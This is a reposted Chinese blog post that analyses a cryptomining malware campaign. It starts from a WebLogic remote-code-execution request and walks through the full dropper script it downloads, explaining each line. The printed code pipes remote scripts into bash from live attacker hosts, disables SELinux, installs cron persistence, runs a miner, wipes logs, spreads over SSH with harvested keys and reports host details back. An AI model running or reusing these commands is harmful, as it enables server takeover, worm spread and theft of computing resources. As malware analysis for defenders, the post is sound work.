大家好,又见面了,我是你们的朋友全栈君。
本文转载自不正经程序员
温馨提示:本文中出现的命令和脚本,不要在自家服务器上随便运行,除非你知道自己在做什么。
挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质上是个无用的工作。但可惜的是,它能赚钱。用别人的机器去赚钱,更是很多人梦寐以求的,所以挖矿脚本屡禁不止。
有钱的地方,就有技术。但反过来并不一定成立。
牢记这个准则,就能够心平气和的学习新技术,而不是气急败坏的纠结为啥没钱。
1. 脚本从哪来?
下面是一个http的报文。
GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1
Host: 20*.10*.8*.1*9:7001 #已脱敏
User-Agent: curl/7.55.1
Accept: */*
Content-Type:application/x-www-form-urlencoded; charset=utf-8
很简单,waf防火墙拦截到相关包,一眼看上去就不正常。从关键字com.tangosol.coherence.mvel2.sh.ShellSession
可以得知,这个请求,是想要利用Weblogic的远程代码执行漏洞。
这样的漏洞有很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器上的。
在java中,当然要调用它的Runtime类库,如果你的应用程序是运行在root用户的,那它什么事情都能干。
这就是为什么要求你线上部署的应用,都用权限低一点的账户,比如xjjdog去运行,而不是不要命的把root账户给开放。
exec函数带了三个参数。
-
/bin/sh
意味着它要执行一个shell脚本 -
-c
指明了要执行的命令 -
export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先输出了一个全局环境变量,然后下载一个png文件
狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。
2. 脚本怎么安装的?
接下来摘下它的伪装,看一下它的真面目。
curl http://t.bb3u9.com/ln/core.png\?logic > core.png
查看core.png
文件中的内容。不错,很长一段脚本。
#/bin/bash
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
murl1="http://t.bb3u9.com/ln/a.asp"
murl2="http://t.jdjdcjq.top/ln/a.asp"
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
echo "">/var/spool/cron/root
echo "">/var/spool/cron/crontabs/root
if [ "`whoami`" == "root" ];then
cronpath=/etc/crontab
Xpath=/.Xl1
else
cronpath=/var/spool/cron/`whoami`
Xpath=~/.Xl1
fi
if [ ! -d "$Xpath" ];then
mkdir $Xpath
echo "$[$RANDOM%60] * * * * root $cmd1" >> $cronpath
echo "$[$RANDOM%60] * * * * root $cmd2" >> $cronpath
uname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontab
export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
fi
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
按照常规,我们来一行行拆解它。
1)关掉selinux。setenforce 0是关闭的意思,2表示stderr,出错了不提示。接下来会通过写配置文件的方式,永久性的禁止selinux。
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
2)很良心的帮助清理一下系统内存
sync && echo 3 >/proc/sys/vm/drop_caches
3)构造guid,对机器进行标识
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
dmidecode命令,可以获取linux硬件相关的信息,会输出非常多的内容。-t 4表示只获取Process
方面的内容。然后过滤一下ID信息,使用sed命令截取并去掉空格。
ID: 57 06 05 00 FF FB 8B 0F
会变成。
57060500FFFB8B0F
然后使用ifcongig命令获取网卡硬件MAC信息。做同样的处理后获得另外一个串。这段脚本写的稍微有点问题,因为ifconfig的输出经常会改格式,但不影响计算hash。
sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。
786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c
4)安装定时任务到crontab中
脚本选择了/.Xl1
目录作为真正的挖矿程序的存储目录。注意这三个字母,后面是l和1,并不是X桌面的配置目录。在真正的脚本
部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip
。
5)我们再来看一下下载的链接是什么样子的
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL \$gurl*`whoami`*\`hostname\`*${guid}||wget -q -O- \$gurl*`whoami`*\`hostname\`*${guid})|bash"
其中,src变量是在一开始就设置的,我们依次来还原一下。
export src=logic
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr \K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
gurl=$murl1?${src}_${cdate}
最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。
url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c
3. 真正的脚本是什么?
$RANDOM
环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。
关于真实脚本的介绍,xjjdog在另外一篇文章中有详细的介绍。在这个场景下,最新的脚本就是http://t.bb3u9.com/ln/a.asp
,依然是改后缀的障眼法。
这个脚本显然比上面这篇文章介绍的要更加高级一些。脚本很长很长,就不贴了,你可以自己下载。它的主要意图,是下载一个叫做xr的程序,然后在马甲目录.Xl1中运行。xr程序才是挖矿的主要程序,其他的脚本,都是辅助它来运行的。下面是最主要的运行逻辑。
if [ ! -d "$Xpath" ];then
mkdir $Xpath
fi
cd $Xpath
if [ ! -f "./xr" ];then
uname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zip
fi
uname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda
要保证脚本的安全,怎么能少得了chattr命令。很多人遇见加了i参数的文件,不能被删除,就傻眼了。其实是可以通过-i
参数去掉这个属性的。
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
脚本还会通过nc命令,拷贝rsa公钥到你的每个用户目录下面,把你做成事实上的肉鸡,实现免密登录。关于nc这把瑞士军刀,我们也有过介绍。
for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & done
fi
fi
done
这份脚本,还会病毒式的传播。localgo
函数,通过从你的ps
进程,history
文件,还有hosts
配置,拿到用户列表、主机列表端口、rsa密钥等,就可以批量的去尝试登录并传播这份脚本。当然,上面的xr程序会监听65529
的端口,如果判断主机已经中招了,就不再继续探测。
能用65529
这个端口,本身就够骚气的了,有几台机器能够达到上限65535呢?
localgo() {
i=0
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
for sshp in $sshports; do
i=$((i+1))
if [ "${i}" -eq "20" ]; then
sleep 20
ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
i=0
fi
#Wait 20 seconds after every 20 attempts and clean up hanging processes
chmod +r $key
chmod 400 $key
echo "$user@$host $key $sshp"
echo exit |nc -w 1 -n -v $host 65529 && ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &"
done
done
done
done
}
最后,脚本还不忘汇报一下,形成完美的闭环。
reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}
(curl -fsSL $reurl||wget -q -O- $reurl)|bash
4. End
如果你发现你的机器不明原因发热,务必排查一下有没有挖矿程序。虽然你的服务器摆在那里也没什么用,但用着你的电费,收益却给别人,相信你一定会嫉妒的要命。那么别犹豫,kill -9送给它,别忘了清理cron。
重装是我们的秘密武器,仅次于重启。嫌麻烦的话,就这么干吧!
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/158466.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...